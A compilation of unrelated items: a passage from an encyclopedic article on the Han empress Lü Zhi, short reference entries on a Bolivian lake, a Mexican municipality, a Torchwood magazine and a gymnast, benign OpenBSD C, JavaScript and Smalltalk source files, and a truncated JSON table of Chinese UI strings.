Later that year, Liu Bang attacked and seized the Three Qins (three kingdoms covering the Guanzhong region) directly north of his own fief. Guanzhong was rightfully Liu Bang's, according to an earlier promise by Emperor Yi of Chu (previously known as King Huai II of Chu) to appoint whoever conquered Guanzhong first (during the rebellion against the Qin Dynasty) as king of that area. This marked the beginning of a four-year power struggle for supremacy over China between Liu Bang and Xiang Yu, from 206 BC to 202 BC, known as the Chu–Han Contention. Xiang Yu initially took no action against Liu Bang's family. In the eighth lunar month, Liu Bang sent his followers, Wang Xi () and Xue Ou (), to meet Wang Ling () in Nanyang and fetch his family. However Xiang Yu mobilised troops to Yangxia () and prevented the Han forces from advancing.
In the summer of 205 BC, Liu Bang took advantage of the situation when Xiang Yu was occupied with suppressing rebellions in the Qi kingdom to attack and capture Western Chu's capital of Pengcheng. Xiang Yu immediately withdrew from Qi and launched a counterattack, defeating Liu Bang's forces at Suishui (). Lü Zhi and Liu Bang's family were captured by Chu forces and held hostage. During this period of time, Lü Zhi started an illicit affair with Shen Yiji (), one of Liu Bang's followers, who was also held captive together with her.
In the autumn of 203 BC, Liu Bang and Xiang Yu came to a temporary reconciliation, known as the Treaty of Hong Canal, which divided China into west and east under their Han and Western Chu domains respectively. As part of their agreement, Xiang Yu released Lü Zhi and Liu Bang's family and returned them to Liu. Lü Zhi was given the title of "Queen Consort of Han" (). Liu Bang later renounced the truce and attacked Xiang Yu, eventually defeating the latter at the Battle of Gaixia in 202 BC and unifying China under his rule. Liu Bang proclaimed himself Emperor of China and established the Han Dynasty. He instated Lü Zhi as his empress and their son Liu Ying as crown prince.
As empress and paramount authority
Even after Emperor Gaozu (Liu Bang)'s victory over Xiang Yu, there were still unstable areas in the empire, requiring the new government to launch military campaigns to pacify these regions thereafter. Gaozu placed Empress Lü Zhi and the crown prince Liu Ying (Lü Zhi's son) in charge of the capital Chang'an and making key decisions in court, assisted by the chancellor Xiao He and other ministers. During this time, Lü Zhi proved herself to be a competent administrator in domestic affairs, and she quickly established strong working relationships with many of Gaozu's officials, who admired her for her capability and feared her for her ruthlessness. After the war ended and Emperor Gaozu returned, she remained in power and she was always influential in many of the country's affairs.
Roles in the deaths of Han Xin and Peng Yue
Lü Zhi is known for her roles in the deaths of Han Xin and Peng Yue, two of Emperor Gaozu's subjects who contributed greatly to the founding of the Han Dynasty, of whose military capabilities both she and her husband had been apprehensive .
In 196 BC, Gaozu left the capital Chang'an to suppress a revolt in Julu started by Chen Xi, the Marquis of Yangxia. A year before, Chen Xi met Han Xin before departing from Chang'an for Julu, and it was alleged that Han Xin was involved in the rebellion. Lü Zhi became wary of Han Xin, and after consulting the chancellor Xiao He, she had Xiao summon Han to meet her in Changle Palace. There, the empress had Han Xin taken by surprise, captured, and subsequently executed in a torturous manner. Lü Zhi also ordered Han Xin's family and relatives to be put to death as well.
When Gaozu was putting down Chen Xi's revolt, he requested reinforcements from Peng Yue but the latter claimed that he was ill and sent his subordinates to assist Gaozu instead. After Chen Xi's rebellion was quelled, Gaozu heard rumours that Peng Yue was plotting against him too, and he had Peng arrested and stripped off his titles. Peng was demoted to the status of a commoner and exiled to the remote Qingyi County (青衣縣; in present-day Ya'an, Sichuan). During his journey to Qingyi, Peng Yue encountered Lü Zhi, who wanted to have him killed. He pleaded with her to spare his life and let him return to his hometown in Changyi (昌邑; present-day Jinxiang County, Shandong), and the empress pretended to agree. Peng Yue was brought to Luoyang, where he was subsequently executed on false charges of treason. Lü Zhi ordered Peng Yue's body to be mutilated and had Peng's clan exterminated as well.
Dispute over the succession
In his late years, Emperor Gaozu started favouring one of his younger consorts, Concubine Qi, who bore him a son, Liu Ruyi, who was instated as Prince of Zhao in 198 BC, displacing Lü Zhi's son-in-law Zhang Ao (Princess Yuan of Lu's husband). Gaozu had the intention of replacing Liu Ying with Liu Ruyi as crown prince, reasoning that the former was too "soft-hearted and weak" and that the latter resembled him more. Since Lü Zhi had strong rapport with many ministers, they generally opposed Gaozu's decision but the emperor seemed bent on deposing Liu Ying. Lü Zhi became worried and she approached Zhang Liang for help, and the latter analysed that Gaozu was changing the succession on grounds of favouritism. Zhang Liang invited the "Four Whiteheads of Mount Shang", a group of four reclusive wise men, to persuade Gaozu to change his decision. The four men promised to assist Liu Ying in future if he became emperor, and Gaozu was pleased to see that Liu Ying had their support. Gaozu told Concubine Qi, "I wanted to replace (the crown prince). Now I see that he has the support of those four men; he is fully fledged and difficult to unseat. Empress Lü is really in charge!" This marked the end of the dispute over the succession and affirmed Liu Ying's role as crown prince.
As empress dowager and Regent
In June 195 BC, Emperor Gaozu died and was succeeded by Liu Ying, who became historically known as Emperor Hui of Han. Lü Zhi was honoured by Emperor Hui as empress dowager. She exerted more influence during the reign of her son than she had when she was empress, and she became the powerful and effective lead figure in his administration.
Roles in the deaths of Concubine Qi and Liu Ruyi
Lü Zhi did not harm most of Gaozu's other consorts and treated them according to the rules and customs of the imperial family. For example, consorts who bore male children that were instated as princes were granted the title of "Princess Dowager" () in their respective sons' principalities. One exception was Concubine Qi, whom Lü Zhi greatly resented because of the dispute over the succession between Liu Ruyi (Qi's son) and Liu Ying. Liu Ruyi, the Prince of Zhao, was away in his principality, so Lü Zhi targeted Concubine Qi. She had Qi stripped of her position, treated like a convict (head shaved, in stocks, dressed in prison garb), and forced to do hard labour in the form of milling rice.
Lü Zhi then summoned Liu Ruyi, who was around the age of 12 then, to Chang'an, intending to kill him together with his mother. However Zhou Chang (), the chancellor in Liu Ruyi's principality, whom Lü Zhi respected because of his stern opposition to Emperor Gaozu's proposal to make Liu Ruyi crown prince, temporarily protected Liu Ruyi from harm by responding to Lü Zhi's order that, "The Prince of Zhao is ill and unfit for travelling over long distances." Lü Zhi then ordered Zhou Chang to come to the capital, had him detained, and then summoned Liu Ruyi again. Emperor Hui tried to save Liu Ruyi by intercepting his half-brother before the latter entered Chang'an, and kept Liu Ruyi by his side most of the time. Lü Zhi refrained from carrying out her plans for several months because she feared that she might harm Emperor Hui as well.
One morning in the winter of 195-194 BC, Emperor Hui went for a hunting trip and did not bring Liu Ruyi with him because the latter refused to get out of bed. Lü Zhi's chance arrived, so she sent an assassin to force poisoned wine down Liu Ruyi's throat. The young prince was dead by the time Emperor Hui returned. Lü Zhi then had Concubine Qi killed in an inhumane manner: she had Qi's limbs chopped off, eyes gouged out, ears sliced off, nose sliced off, tongue cut out, forced her to drink a potion that made her mute, and had her thrown into a latrine. She called Qi a "human swine" (). Several days later, Emperor Hui was taken to view the "human swine" and was shocked to learn that it was Concubine Qi. He cried loudly and became ill for a long time. He requested to see his mother and said, "This is something done not by a human. As the empress dowager's son, I'll never be able to rule the empire." From then on, Emperor Hui indulged himself in carnal pleasures and ignored state affairs, leaving all of them to his mother, and this caused power to fall completely into her hands.
Treatment of Emperor Gaozu's other sons
Around the winter of 195-194 BC, Liu Fei, the Prince of Qi, Emperor Gaozu's eldest son born to Lady Cao (), visited Chang'an and he and Emperor Hui attended a banquet hosted by the empress dowager. Emperor Hui honoured Liu Fei as an older half-brother and treated the latter respectfully. Lü Zhi felt offended and secretly instructed her servants to pour a cup of poisoned wine for Liu Fei, and then toasted him. Just as Liu Fei was about to drink the wine, Emperor Hui realised his mother's intention and grabbed Liu Fei's cup as if he would drink from it. Lü Zhi immediately jumped up and knocked the cup out of Emperor Hui's hand. Liu Fei then offered to give up an entire commandery from his principality to Lü Zhi's daughter, Princess Yuan of Lu. Lü Zhi accepted the offer and allowed him to leave.
Lü Zhi also played a role in the death of another of Gaozu's sons, Liu You, the Prince of Zhao. Liu You married Lü Zhi's niece but was caught having an affair with another woman, so Lü Zhi's niece reported to her aunt that Liu You was plotting a rebellion. Lü Zhi summoned Liu You to Chang'an and had him imprisoned and deprived of food. Liu You was afraid of committing suicide and eventually starved to death, in February 181 BC.
Lü Zhi then transferred another of Gaozu's sons, Liu Hui, the Prince of Liang, to Zhao, and forced him to marry a daughter of Lü Chan. The Lü clan grabbed the authority of Zhao and oversaw Liu Hui, thus making Liu Hui feel restricted. Princess Lü had a favored concubine of Liu Hui poisoned to death. Liu Hui was distressed and committed suicide in fear in July 181 BC.
For the matters above, Lü Zhi was criticized for "having murdered three princes of Zhao".
Marriage proposal from Modu
In 192 BC, Lü Zhi received a marriage proposal from the Xiongnu chanyu Modu, who wrote as follows in a letter meant to intimidate and mock her:
I'm a lonesome ruler born in marshes and raised in plains populated by livestock. I've visited your border numerous times and wanted to tour China. Your Majesty is now alone and living in solitude. Since both of us are not happy and have nothing to entertain ourselves, I'm willing to use what I possess to exchange for what you lack.
Lü Zhi was infuriated at the rude proposition, and in a heated court session, her generals advised her to rally an army and exterminate the Xiongnu immediately. As she was about to declare war, an outspoken attendant named Ji Bu pointed out that the Xiongnu army was much more powerful than the Chinese. At Ji Bu's words, the court immediately fell into a fearful silence. Rethinking her plans, Lü Zhi rejected Modu's proposition humbly, as follows:
Your Lordship does not forget our land and writes a letter to us, we fear. I retreat to preserve myself. I'm old and frail, I'm losing hair and teeth, and I struggle to maintain balance when I move. Your Lordship has heard wrongly, you shouldn't defile yourself. Our people did not offend you, and should be pardoned. We've two imperial carriages and eight fine steeds, which we graciously offer to Your Lordship.
However, she continued implementing the heqin policy of marrying Han princesses to Xiongnu chieftains and paying tribute to the Xiongnu in exchange for peace between both sides.
Emperor Hui's marriage to Empress Zhang Yan
In 191 BC, at Lü Zhi's insistence, Emperor Hui married his niece Zhang Yan (Princess Yuan of Lu's daughter) and made her empress. They did not have any children. It was alleged that Lü Zhi told Zhang Yan to adopt eight boys and have their mothers killed. There is uncertainty whether these children were Emperor Hui's; the traditional view is that they were not, while modern historians believe that they were born to his concubines.
As empress dowager: grandmother and an acting emperor
Emperor Hui died in 188 BC and was succeeded by Emperor Qianshao, one of the children Empress Zhang adopted. Empress Dowager Lü closely monitored and controlled the imperial court and kept the whole army firmly in her hands, thus maintaining power more strongly than before. His death and the succession of an immature child left power completely and solely in the hands of Empress Dowager Lü, and as a regent, legitimized her as the first female absolute ruler in Chinese history to do so exclusively. Lü Zhi's position as regent was first recorded in the official history of Ban Gu in the Book of Han: As grandmother of the infant emperor, Lü Zhi retained her title as Empress Dowager and never claimed the title as Grand Empress Dowager. As a result, she played the role of an emperor and de facto filled the empty throne. She addressed herself as Zhen (), a first-person pronoun reserved for use by the emperor after the Qin dynasty. Officials addressed her as Bixia, Royal Majesty (), an honorific used when addressing the emperor directly, not Dianxia, Royal Highness (), an honorific used when addressing the empress or empress dowager directly. The edicts (敕, chi) she issued were referred to as Sheng Zhe (聖制), which were the personal orders of the emperor. Conventional historians do not consider Emperor Qianshao a true sovereign, so he is usually omitted from the list of emperors of the Han Dynasty.
Emperor Gaozu had previously decreed that no non-imperial clan members could become princes (not including the vassal kings), a rule that Lü Zhi herself had a hand in creating. In spite of this, Lü Zhi attempted to install some of her kinsmen as princes. The Right Chancellor Wang Ling () opposed her decision but the Left Chancellor Chen Ping and general Zhou Bo accepted this move. When Wang Ling rebuked Chen Ping and Zhou Bo in private for going against Emperor Gaozu's law, they rationalized that their compliance with the empress dowager's wishes was necessary to protect the empire and the Liu clan. Lü Zhi promoted Wang Ling to the position of Grand Tutor () but the latter claimed that he was ill and declined, so she ordered him to return to his marquisate (Wang Ling held the title of Marquis of Anguo). Lü Zhi then appointed Chen Ping as Right Chancellor and her illicit lover Shen Yiji () as Left Chancellor.
Lü Zhi then proceeded to make her kin nobles. Her first step was to install her maternal grandson Zhang Yan (張偃; Princess Yuan of Lu's son, Empress Zhang Yan's brother) as the Prince of Lu. Over the next few years she instated several of her nephews and grandnephews as princes and marquises. In an unprecedented move, in 184 BC, Lü Zhi also granted her younger sister Lü Xu () the title of Marquise of Lingguang, in a separate fief from that of the latter's husband Fan Kuai.
Around 184 BC, Emperor Qianshao discovered that he was not Empress Dowager Zhang Yan's son, and his birth mother was executed by the empress dowager. He remarked that when he grew up he would make Empress Dowager Zhang pay for his mother's death. When Lü Zhi heard about this, she had the young emperor secretly confined in the palace and publicly announced that the emperor was seriously ill and unable to meet anyone. After some time, she told the imperial court that Emperor Qianshao was still sick and suffered from psychosis, and was thus incapable of ruling. She then proposed that the emperor be replaced. The court complied with her wish, and Emperor Qianshao was deposed and put to death. He was succeeded by his brother, Liu Yi (), who was renamed to Liu Hong (), and was also historically known as Emperor Houshao of Han. Like his predecessor Emperor Qianshao, Liu Hong is generally not regarded as a real monarch, so he is also not included in the list of emperors of the Han Dynasty.
Death
Lü Zhi died of illness at the age of 61 in 180 BC and was interred in Emperor Gaozu's tomb in Changling (). Near the end of Wang Mang's Xin Dynasty (AD 9 – AD 23), Lü Zhi's body was desecrated by Chimei rebels when they raided Gaozu's tomb. Emperor Guangwu, who restored the Han Dynasty in AD 25, posthumously replaced Lü Zhi as "Empress Gao" in Gaozu's temple with another of Gaozu's concubines, Consort Bo. Lü Zhi was enshrined in a separate temple instead.
In the aftermath of Lü Zhi's death, her clan members were overthrown from their positions of power and massacred, in an event historically known as the Lü Clan Disturbance. The masterminds of this coup d'état included ministers who previously served Emperor Gaozu, including Chen Ping, Zhou Bo, and Guan Ying. Liu Heng, a son of Gaozu and Consort Bo, was installed on the throne as Emperor Wen of Han.
Family
Father: Lü Wen (), sometimes referred to as Lü Gong (). In 187 BC, he was granted the posthumous title of "Prince Xuan of Lü" ().
Husband: Liu Bang, Emperor Gaozu of Han.
Children:
Liu Ying, Emperor Hui of Han.
Princess Yuan of Lu (), personal name unknown.
Siblings and their descendants:
Lü Changxu (), older sister.
Lü Ping (), Lü Changxu's son, Marquis of Fuliu ().
Lü Ze (), older brother, posthumously known as "Prince Daowu of Lü" ().
Lü Tai (), Lü Ze's son, instated as Prince Su of Lü () in 186 BC.
Lü Jia (), Lü Tai's son, Prince of Lü ().
Lü Tong (), Lü Tai's son, instated as Prince of Yan () in 181 BC.
Lü Pi (), Lü Tai's son, Marquis of Dongping ().
Lü Chan (), Lü Ze's son, instated as Prince of Liang () in 181 BC.
Lü Shizhi (), older brother, posthumously known as "Prince Zhao of Zhao" ().
Lü Ze (), Lü Shizhi's son, Marquis of Jiancheng ().
Lü Zhong (), Lü Shizhi's son, Marquis of Buqi ().
Lü Lu (), Lü Shizhi's son, instated as Prince of Zhao in 181 BC.
Lü Xu (), younger sister, Fan Kuai's wife, instated as Marquise of Linguang () in 184 BC
In popular culture
Portrayed as by Joe Chen in The Beauty of the Emperor series
Portrayed by Qin Lan in the 2012 television series King's War
The character of Jia Matiza in Ken Liu's The Dandelion Dynasty is based on Empress Lü.
See also
Lü Clan Disturbance
Emperor Hui of Han
References
Citations
Sources
Sima Qian. Records of the Grand Historian, vols. 8, 9, 49.
Ban Gu et al. Book of Han, vols. 1, 2, 3, 97, Part 1.
Fan Ye. Book of the Later Han.
Sima Guang. Zizhi Tongjian, vols. 7, 9, 10, 12, 13.
Yap, Joseph P. War With The Xiongnu - A Translation From Zizhi tongjian. Chapter 2. AuthorHouse. 2009. .
|-
3rd-century BC births
241 BC births
180 BC deaths
Han dynasty imperial consorts
Regents of China
3rd-century BC Chinese women
3rd-century BC Chinese people
2nd-century BC women regents
Chu–Han contention people
People from Heze
Han dynasty government officials
Han dynasty empresses dowager
Emperor Gaozu of Han
Deaths from rabies
|
Murillo Lake is a lake in the Manuripi Province, Pando Department, Bolivia. At an elevation of 140 m, its surface area is .
References
Lakes of Pando Department
|
Magdalena Ocotlán is a town and municipality in Oaxaca in south-western Mexico. The municipality covers an area of 24.24 km².
It is part of the Ocotlán District in the south of the Valles Centrales Region
As of 2005, the municipality had a total population of 1,060.
References
Municipalities of Oaxaca
|
Torchwood – The Official Magazine was a British magazine devoted to the BBC science fiction television series Torchwood. The first issue was released on 24 January 2008 and concluded on 16 December 2010 The United States version was due to be launched in February 2008. Titan Magazines announced in Issue 24 that the next issue would be the last for a while.
Content
The magazine includes the latest news from the Torchwood set, cast and crew interviews, behind-the-scenes features on the show's special effects, and ten pages of original Torchwood comic strip fiction. The first few issues featured regular columns from Torchwood lead writer Chris Chibnall and producer Richard Stokes. Issue 8 saw the introduction of an original piece of short prose every month. Issue 14 saw the magazine become a bi-monthly production with a larger page count. Issue 25 will be the final issue.
Comic strips
Other than Issue 2, every issue of the Magazine has included a comic strip.
Issue 1 – "The Legacy of Torchwood One"
Issue 3 – "Jetsam" (Reprinted as part of the Graphic Novel "Rift War")
Issues 4, 5, 6, 7, 8, 9, 10, 11, 12 & 13 – "Rift War" (Reprinted in Graphic Novel "Rift War")
Issue 14 – "The Selkie" (Co-written By John Barrowman and his sister Carole)
Issues 15, 16, 17, 18 & 19 – "Broken"
Issue 20 – "Fated to Pretend"
Issues 21 & 22 – "Shrouded"
Issue 23 – "Somebody Else's Problem"
Issue 24 – "Hell House"
Issue 25 – "Overture"
Short stories
A short piece of fiction has been included in every issue since Issue 8. The Torchwood Magazine Yearbooks, published in 2008 and 2009, contained a further six exclusive short stories.
Issues 8, 9 & 10 – "Harm's Way" Written by Trevor Baxendale, illustrated by Mike Dowling
Issues 11, 12 & 13 – "The Book of Jahi" Written by David Llewellyn, illustrated by Mike Dowling
Issues 14 & 15 – "Gordian" Written by Steven Savile, illustrated by Mike Dowling
Issues 16 & 17 – "Closing Time" Written by Andy Lane, illustrated by Mike Dowling
Issue 20 – "Happy New Year" Written by Sarah Pinborough
Issue 22 – "Ashes to Ashes" Written by Sandra Shennan
Issue 23 – "Mend Me" Written by Sarah Pinborough
Yearbook 2008 – "Black Water" by Steven Savile, "Mrs Acres" by David Llewellyn, "The Beauty of Our Weapons" by Andy Lane, "Plant Life" by Trevor Baxendale and "Monster" by Joseph Lidster.
Yearbook 2009 – "The Book Jahi" by David Llewellyn
See also
Doctor Who Magazine
References
2008 establishments in the United Kingdom
2010 disestablishments in the United Kingdom
Bi-monthly magazines published in the United Kingdom
Defunct science fiction magazines published in the United Kingdom
Defunct magazines published in the United Kingdom
Doctor Who magazines
Magazines established in 2008
Magazines disestablished in 2010
Titan Magazines titles
Magazine
|
```c
/* $OpenBSD: efiriscv.c,v 1.1 2024/03/26 22:26:04 kettenis Exp $ */
/*
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <sys/param.h>
#include <efi.h>
#include <efiapi.h>
#include "libsa.h"
#include "efiboot.h"
extern EFI_BOOT_SERVICES *BS;
/* RISC-V UEFI Boot Protocol */
#define RISCV_EFI_BOOT_PROTOCOL_GUID \
{ 0xccd15fec, 0x6f73, 0x4eec, { 0x83, 0x95, 0x3e, 0x69, 0xe4, 0xb9, 0x40, 0xbf } }
INTERFACE_DECL(_RISCV_EFI_BOOT_PROTOCOL);
typedef
EFI_STATUS
(EFIAPI *EFI_GET_BOOT_HARTID) (
IN struct _RISCV_EFI_BOOT_PROTOCOL *This,
OUT UINTN *BootHartId
);
typedef struct _RISCV_EFI_BOOT_PROTOCOL {
UINT64 Revision;
EFI_GET_BOOT_HARTID GetBootHartId;
} RISCV_EFI_BOOT_PROTOCOL;
static EFI_GUID riscv_guid = RISCV_EFI_BOOT_PROTOCOL_GUID;
int32_t
efi_get_boot_hart_id(void)
{
EFI_STATUS status;
RISCV_EFI_BOOT_PROTOCOL *riscv = NULL;
UINTN hartid;
status = BS->LocateProtocol(&riscv_guid, NULL, (void **)&riscv);
if (riscv == NULL || EFI_ERROR(status))
return -1;
status = riscv->GetBootHartId(riscv, &hartid);
if (status == EFI_SUCCESS)
return hartid;
return -1;
}
```
|
```javascript
/**
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
'use strict';
// MODULES //
var Complex64 = require( '@stdlib/complex/float32/ctor' );
var addon = require( './../src/addon.node' );
// MAIN //
/**
* Multiplies two single-precision complex floating-point numbers.
*
* @private
* @param {Complex64} z1 - complex number
* @param {Complex64} z2 - complex number
* @returns {Complex64} result
*
* @example
* var Complex64 = require( '@stdlib/complex/float32/ctor' );
* var realf = require( '@stdlib/complex/float32/real' );
* var imagf = require( '@stdlib/complex/float32/imag' );
*
* var z1 = new Complex64( 5.0, 3.0 );
* // returns <Complex64>
*
* var z2 = new Complex64( -2.0, 1.0 );
* // returns <Complex64>
*
* var out = mul( z1, z2 );
* // returns <Complex64>
*
* var re = realf( out );
* // returns -13.0
*
* var im = imagf( out );
* // returns -1.0
*/
function mul( z1, z2 ) {
var v = addon( z1, z2 );
return new Complex64( v.re, v.im );
}
// EXPORTS //
module.exports = mul;
```
|
```smalltalk
"
I am a specialized `CoverageResult` for DrTests.
Like my parent:
- I represent the result of a code coverage measurement.
- My instance is produced by `DTCoverageCollector>>#basicCollectResult`.
- I contain the set of covered methods and sequence nodes.
I add the partiallyCoveredMethods attribute to store the methods that are only partially covered by tests.
I am used to display the sourceCode panel in DrTest's Coverage plugin.
"
Class {
#name : 'DTCoverageResult',
#superclass : 'CoverageResult',
#instVars : [
'partiallyCoveredMethods'
],
#category : 'DrTests-TestCoverage',
#package : 'DrTests-TestCoverage'
}
{ #category : 'accessing' }
DTCoverageResult >> partiallyCoveredMethods [
^ partiallyCoveredMethods
]
{ #category : 'accessing' }
DTCoverageResult >> partiallyCoveredMethods: anObject [
partiallyCoveredMethods := anObject
]
```
|
Anastasia Gennadyevna Simakova (, born 9 September 2004 in Omsk, Russia) is a Russian individual rhythmic gymnast. She is the 2019 world junior rope and team all-around champion. On the national level, she is a multiple medalist at the Russian junior nationals (among Candidates for Master of Sport in 2017, 2018 and 2019).
Career
Junior
Anastasia Simakova was born in Omsk on 9 September 2004. She began training in rhythmic gymnastics at age 4. Simakova competed in the 2019 Junior World Rhythmic Gymnastics Championships where she became the World Junior Champion in Rope and Team events.
Senior
Simakova competed at the 2020 Russian Rhythmic Gymnastics Championships placing 7th in the Individual Senior all-around final.
Simakova was registered to compete in the 2021 World Cup Sofia , along with Lala Kramarenko, that took place on March 26-28, however, both were withdrawn and there was no individual Russian representation. Simakova competed in the Grand Prix in Marbella, where she placed 3rd behind Viktoriia Onopriienko in the overall. She also came in 4th place in the ribbon final, 5th in the club final and 2nd in the ball final.
In 2022 she moved to Germany, following her parents who enrolled the program of repatriation for Russian Germans. She started to train in Felnbach with Yulia Raskina in November, as of February 2023 she's waiting for the nationality switch.
References
External links
Anastasia Simakova at Gimnastika.pro
Russian rhythmic gymnasts
2004 births
Living people
Sportspeople from Omsk
Medalists at the Junior World Rhythmic Gymnastics Championships
|
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Rank","CAPTCHA_GET":"\u83b7\u53d6\u9a8c\u8bc1\u7801","CAPTCHA_FILL":"\u8bf7\u8f93\u5165\u56fe\u7247\u4e2d\u7684\u9a8c\u8bc1\u7801","CAPTCHA_NULL":"\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","CAPTCHA_ERROR":"\u9a8c\u8bc1\u7801\u8f93\u5165\u9519\u8bef","CAPTCHA_PHONE_ERROR":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e","CAPTCHA_PHONE_SEND":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u5230\u4f60\u7684\u624b\u673a\u4e0a\u8bf7\u6ce8\u610f\u67e5\u6536","CAPTCHA_SEND_AGAIN":"\u540e\u53ef\u91cd\u53d1","CAPTCHA_SEND_OVER":"\u77ed\u4fe1\u5df2\u53d1\u9001\u6210\u529f,\u9a8c\u8bc1\u7801\u533a\u5206\u5927\u5c0f\u5199","CAPTCHA_PHONE_NO":"\u4e0d\u9700\u8981\u77ed\u4fe1\u9a8c\u8bc1\u7801","CAPTCHA_PHONE_NULL":"\u77ed\u4fe1\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PHONE_TYPE_ERROR":"\u7535\u8bdd\u683c\u5f0f\u4e0d\u5bf9","PHONE_NOTING":"\u7535\u8bdd\u4e0d\u80fd\u4e3a\u7a7a","PHONE_FILL":"\u8bf7\u586b\u5199\u624b\u673a\u53f7","PHONE_CAPTCHA_NOTING":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_NOTING":"\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_CONFIRM_NOTING":"\u5bc6\u7801\u786e\u8ba4\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_PAY_LESS":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u5c11\u4e8e6\u4f4d","PASSWORD_FILL_DIFFERENT":"\u8f93\u5165\u7684\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837","PASSWORD_PAY_LOGIN_SAME":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u540c\u767b\u9646\u5bc6\u7801\u4e00\u6837","PASSWORD_PAY_FILL":"\u8bf7\u586b\u5199\u652f\u4ed8\u5bc6\u7801","PASSWORD_LENGH_LESS":"\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d","PASSWORD_SEND_OK":"\u53d1\u9001\u5bc6\u7801\u90ae\u4ef6\u6210\u529f","PASSWORD_OFER_WRROR":"\u60a8\u63d0\u4f9b\u7684\u627e\u56de\u5bc6\u7801\u4fe1\u606f\u4e0d\u6b63\u786e","PASSWORD_OLD_ERROR":"\u539f\u5bc6\u7801\u9519\u8bef","PASSWORD_UPDATE_OK":"\u5bc6\u7801\u4fee\u6539\u6210\u529f","EMAILL_USED":"\u90ae\u7bb1\u5df2\u88ab\u5360\u7528","EMAILL_NULL":"\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a\uff01","NOTING":"\u65e0","LEAVEWORDS_NULL":"\u7559\u8a00\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a","LOGIN_FIRST":"\u8bf7\u5148\u767b\u5f55","CONFIRM":"\u786e\u8ba4","YEAR":"\u5e74","DAYS":"\u5929","HOURS":"\u65f6","HOUR":"\u5c0f\u65f6","MINUTE":"\u5206","SECOND":"\u79d2","IS":"\u4e3a","ONE":"\u4e00","TWE":"\u4e8c","TIMES":"\u6b21","COUNTENT_UPDATE_FILL":"\u8bf7\u586b\u5199\u4fee\u6539\u5185\u5bb9","CANCLE":"\u53d6\u6d88","OPERATE_CONFIRM":"\u786e\u5b9a\u6b64\u64cd\u4f5c\u5417\uff1f","USERNAME":"\u59d3\u540d","SUCCESS":"\u64cd\u4f5c\u6210\u529f","FAIL_REPLY":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u586b\u5199\u56de\u590d\u4fe1\u606f","SEND_OK":"\u53d1\u9001\u6210\u529f","PHONE_BIND_DONE":"\u5df2\u7ed1\u5b9a","TAGS_USE":"\u4f7f\u7528\u6b64\u6807\u7b7e","WHITEHATS":"\u767d\u5e3d\u5b50","WHITEHATS_VERTIFY":"\u8ba4\u8bc1\u767d\u5e3d\u5b50","WHITEHATES_NAME":"\u8bf7\u8f93\u5165\u767d\u5e3d\u5b50\u7528\u6237\u540d","USER_ZONE_EDIT":"\u7f16\u8f91\u9886\u57df","WB_TRANSFER":"\u6211\u8981\u8f6c\u8d26","WB_TRANSFER_CANCEL":"\u53d6\u6d88\u8f6c\u8d26","WB_NUM":"\u8bf7\u8f93\u5165\u4e4c\u4e91\u5e01\u6570\u91cf","WB_NUMBER":"\u4e4c\u4e91\u5e01\u6570\u91cf\u4e3a\u6b63\u6574\u6570","WB_NEED_LESS":"\u81f3\u5c11\u9700\u8981","WB_NEED_SUM":"\u4e2a\u4e4c\u4e91\u5e01","WB_TRANSFER_OK":"\u8f6c\u8d26\u6210\u529f","WB_MY":"\u6211\u7684\u4e4c\u4e91\u5e01","WB_CAN_USE":"\u53ef\u7528\u7684\u4e4c\u4e91\u5e01","WB_FROZEN":"\u51bb\u7ed3\u7684\u4e4c\u4e91\u5e01","WB_LACK":"\u4e4c\u4e91\u5e01\u4e0d\u8db3","WB_SET_SCOPE":"\u51fa\u4ef7\u8303\u56f4\u4e3a","WB_BIND_CANCEL_STAT":"(\u70b9\u51fb\u201c\u53d6\u6d88\u7ed1\u5b9a\u201d\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u5411\u4e4c\u4e91\u516c\u4f17\u8d26\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801\u53d6\u6d88\u5fae\u4fe1\u7ed1\u5b9a\uff0c\u7136\u540e\u5237\u65b0\u672c\u9875\u9762)","EMAIL_LOGIN_MEXT":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_UPDATE_LOGIN_MEXT":"\u66f4\u6539\u8bf7\u6c42\u5df2\u53d1\u9001\u5230\u90ae\u7bb1,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_SEND_OK":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f\uff01","CORPS":"\u5382\u5546","TEAM_NAME_NULL":"\u56e2\u961f